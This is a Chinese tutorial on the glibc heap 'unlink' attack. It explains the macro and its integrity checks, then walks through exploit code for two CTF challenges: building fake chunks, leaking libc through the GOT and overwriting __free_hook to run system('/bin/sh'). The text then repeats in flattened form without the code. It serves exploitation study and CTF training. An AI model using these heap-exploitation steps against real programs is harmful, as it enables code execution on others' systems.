堆学习之unlink
字数 1789 2025-08-22 12:23:00

Unlink攻击技术详解

1. Unlink基础概念

Unlink是glibc中定义的一个宏,位于malloc.c(libc2.23)中,主要用于从双向链表中移除一个空闲chunk。其核心功能是维护空闲chunk的双向链表结构。

1.1 Unlink宏定义

#define unlink(AV, P, BK, FD) {
    FD = P->fd;
    BK = P->bk;
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
        malloc_printerr (check_action, "corrupted double-linked list", P, AV);
    else {
        FD->bk = BK;
        BK->fd = FD;
        if (!in_smallbin_range (P->size) && __builtin_expect (P->fd_nextsize != NULL, 0)) {
            if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
                malloc_printerr (check_action, "corrupted double-linked list (not small)", P, AV);
            if (FD->fd_nextsize == NULL) {
                if (P->fd_nextsize == P)
                    FD->fd_nextsize = FD->bk_nextsize = FD;
                else {
                    FD->fd_nextsize = P->fd_nextsize;
                    FD->bk_nextsize = P->bk_nextsize;
                    P->fd_nextsize->bk_nextsize = FD;
                    P->bk_nextsize->fd_nextsize = FD;
                }
            } else {
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;
            }
        }
    }
}

1.2 Unlink操作的核心

Unlink操作主要完成以下工作:

  1. 从双向链表中移除指定chunk
  2. 检查链表完整性(防止链表被破坏)
  3. 处理大chunk的特殊指针(fd_nextsize和bk_nextsize)

2. Unlink攻击原理

2.1 攻击条件

成功实施unlink攻击需要满足以下条件:

  1. 存在堆溢出或off-by-one漏洞
  2. 程序在bss段存储了chunk指针列表(chunk_data_list)
  3. 能够控制chunk的fd和bk指针

2.2 攻击思路

通过伪造fake chunk并触发unlink操作,将chunk指针劫持到bss段的指针序列地址,从而实现任意地址读写。

2.3 关键检查机制

unlink操作会进行以下检查,攻击时需要绕过:

  1. 检查1:与被释放chunk相邻高地址chunk的prev_size值是否等于被释放chunk的size大小
  2. 检查2:与被释放chunk相邻高地址chunk的size的P标志位是否为0
  3. 检查3:检查前后被释放chunk的fd和bk指针是否指向正确的chunk

3. Unlink攻击实战

3.1 [SUCTF 2018招新赛]unlink例题分析

3.1.1 程序分析

  • 保护机制:开启Canary和NX
  • 功能:
    • add:申请堆块,地址存储在bss段的chunk_data_list(0x6020c0)
    • delete:释放堆块
    • show:显示堆块内容
    • edit:编辑堆块内容(存在堆溢出漏洞)

3.1.2 攻击步骤

  1. 初始布局

    touch(0x20)  # chunk0
    touch(0x80)  # chunk1
    touch(0x100) # chunk2
    
  2. 构造fake chunk

    buf = 0x6020c0  # chunk_data_list地址
    prev_size = p64(0)
    chunk_size = p64(0x20)
    fd = buf - 0x18
    bk = buf - 0x10
    content = p64(fd) + p64(bk)
    of_prev_size = p64(0x20)
    of_chunk_size = p64(0x90)
    payload = prev_size + chunk_size + content + of_prev_size + of_chunk_size
    take_note(0, payload)
    

    这段代码在chunk1内构造了一个fake chunk:

    • 设置prev_size=0和size=0x20
    • 设置fd和bk指向精心构造的地址(绕过检查3)
    • 修改chunk1的chunk头,使其看起来像是free状态
  3. 触发unlink

    delete(1)  # 释放chunk1,触发unlink
    

    此时:

    • chunk1(0x90)被free进入unsorted bin
    • 系统发现其物理相邻的fake chunk为free状态,于是合并
    • fake chunk从伪造的链表中脱链
  4. 劫持指针

    payload = p64(0)*3 + p64(0x6020c8)
    take_note(0, payload)  # 现在写入的是0x6020a8
    
  5. 泄露libc地址

    payload = p64(elf.got['puts'])
    take_note(0, payload)  # 修改chunk1指针为puts@got
    show(1)  # 泄露puts地址
    puts_addr = u64(io.recvuntil(b'\x7f')[-6:]+b'\x00\x00')
    libc_base = puts_addr - libc.sym['puts']
    
  6. 劫持free_hook

    free_hook = libc_base + libc.sym['__free_hook']
    bin_sh_str = libc_base + next(libc.search(b'/bin/sh\x00'))
    payload = p64(free_hook) + p64(bin_sh_str)
    take_note(0, payload)
    system = libc_base + libc.sym['system']
    take_note(1, p64(system))
    delete(2)  # 触发free("/bin/sh"),实际执行system("/bin/sh")
    

3.2 off-by-one unlink例题分析

3.2.1 与前一题的区别

  • 堆溢出漏洞变为off-by-one漏洞
  • 需要更精细的堆布局

3.2.2 攻击步骤

  1. 初始布局

    new(0x108, 'zzz')  # chunk0,大小0x100+8
    new(0xf0, 'aaa')   # chunk1
    new(0x100, '/bin/sh\x00')  # chunk2,与top chunk隔离
    
  2. 构造fake chunk

    data_addr = 0x602120  # chunk_data_list地址
    payload = p64(0) + p64(0x101) + p64(data_addr-0x18) + p64(data_addr-0x10)
    payload = payload.ljust(0x100, b'a') + p64(0x100) + p8(0)
    edit(0, payload)
    

    这段代码:

    • 构造fake chunk的prev_size和size
    • 设置fd和bk绕过检查
    • 使用off-by-one覆盖下一个chunk的size最低位
  3. 触发unlink

    delete(1)  # 触发合并和unlink
    
  4. 泄露libc地址

    edit(0, p64(0)*3 + p64(data_addr-0x18) + p64(0x602018))
    show(1)
    leak = u64(p.recv(6).ljust(8, b'\x00'))
    libc_base = leak - 0x84540
    
  5. 劫持控制流

    free_hook = 0x84540 + libc_base
    edit(0, p64(0)*3 + p64(0x6020c0-0x18) + p64(0x602018))
    edit(1, p64(0x453a0+libc_base))
    delete(2)  # 触发system("/bin/sh")
    

4. 关键技巧总结

  1. fake chunk构造

    • 精心设置fd和bk指针,使其指向看似合法的位置
    • 通常fd = &target-0x18,bk = &target-0x10
  2. 绕过检查

    • 确保伪造的fd->bk == P且bk->fd == P
    • 正确设置prev_size和size字段
  3. 利用链构造

    • 通过unlink将chunk指针劫持到可控区域
    • 利用指针修改实现任意地址读写
  4. 不同漏洞利用

    • 堆溢出:直接覆盖后续chunk的元数据
    • off-by-one:精细控制覆盖范围,通常只修改size的最低字节

5. 防御措施

  1. 最新glibc中的改进

    • 增加了更多的完整性检查
    • 对unlink操作进行了更严格的验证
  2. 开发建议

    • 避免使用不安全的堆操作函数
    • 及时更新libc版本
    • 使用现代防护机制如FORTIFY_SOURCE

6. 扩展思考

  1. 其他版本的unlink

    • 不同glibc版本的unlink实现可能有差异
    • 需要针对特定版本调整攻击方式
  2. 组合利用技巧

    • 结合其他堆利用技术如fastbin attack
    • 与格式化字符串漏洞等结合使用

通过深入理解unlink机制及其利用方式,可以更好地理解glibc堆管理的内部工作原理,并提高对堆漏洞的挖掘和利用能力。

Unlink攻击技术详解 1. Unlink基础概念 Unlink是glibc中定义的一个宏,位于malloc.c(libc2.23)中,主要用于从双向链表中移除一个空闲chunk。其核心功能是维护空闲chunk的双向链表结构。 1.1 Unlink宏定义 1.2 Unlink操作的核心 Unlink操作主要完成以下工作: 从双向链表中移除指定chunk 检查链表完整性(防止链表被破坏) 处理大chunk的特殊指针(fd_ nextsize和bk_ nextsize) 2. Unlink攻击原理 2.1 攻击条件 成功实施unlink攻击需要满足以下条件: 存在堆溢出或off-by-one漏洞 程序在bss段存储了chunk指针列表(chunk_ data_ list) 能够控制chunk的fd和bk指针 2.2 攻击思路 通过伪造fake chunk并触发unlink操作,将chunk指针劫持到bss段的指针序列地址,从而实现任意地址读写。 2.3 关键检查机制 unlink操作会进行以下检查,攻击时需要绕过: 检查1 :与被释放chunk相邻高地址chunk的prev_ size值是否等于被释放chunk的size大小 检查2 :与被释放chunk相邻高地址chunk的size的P标志位是否为0 检查3 :检查前后被释放chunk的fd和bk指针是否指向正确的chunk 3. Unlink攻击实战 3.1 [ SUCTF 2018招新赛 ]unlink例题分析 3.1.1 程序分析 保护机制:开启Canary和NX 功能: add:申请堆块,地址存储在bss段的chunk_ data_ list(0x6020c0) delete:释放堆块 show:显示堆块内容 edit:编辑堆块内容(存在堆溢出漏洞) 3.1.2 攻击步骤 初始布局 : 构造fake chunk : 这段代码在chunk1内构造了一个fake chunk: 设置prev_ size=0和size=0x20 设置fd和bk指向精心构造的地址(绕过检查3) 修改chunk1的chunk头,使其看起来像是free状态 触发unlink : 此时: chunk1(0x90)被free进入unsorted bin 系统发现其物理相邻的fake chunk为free状态,于是合并 fake chunk从伪造的链表中脱链 劫持指针 : 泄露libc地址 : 劫持free_ hook : 3.2 off-by-one unlink例题分析 3.2.1 与前一题的区别 堆溢出漏洞变为off-by-one漏洞 需要更精细的堆布局 3.2.2 攻击步骤 初始布局 : 构造fake chunk : 这段代码: 构造fake chunk的prev_ size和size 设置fd和bk绕过检查 使用off-by-one覆盖下一个chunk的size最低位 触发unlink : 泄露libc地址 : 劫持控制流 : 4. 关键技巧总结 fake chunk构造 : 精心设置fd和bk指针,使其指向看似合法的位置 通常fd = &target-0x18,bk = &target-0x10 绕过检查 : 确保伪造的fd->bk == P且bk->fd == P 正确设置prev_ size和size字段 利用链构造 : 通过unlink将chunk指针劫持到可控区域 利用指针修改实现任意地址读写 不同漏洞利用 : 堆溢出:直接覆盖后续chunk的元数据 off-by-one:精细控制覆盖范围,通常只修改size的最低字节 5. 防御措施 最新glibc中的改进 : 增加了更多的完整性检查 对unlink操作进行了更严格的验证 开发建议 : 避免使用不安全的堆操作函数 及时更新libc版本 使用现代防护机制如FORTIFY_ SOURCE 6. 扩展思考 其他版本的unlink : 不同glibc版本的unlink实现可能有差异 需要针对特定版本调整攻击方式 组合利用技巧 : 结合其他堆利用技术如fastbin attack 与格式化字符串漏洞等结合使用 通过深入理解unlink机制及其利用方式,可以更好地理解glibc堆管理的内部工作原理,并提高对堆漏洞的挖掘和利用能力。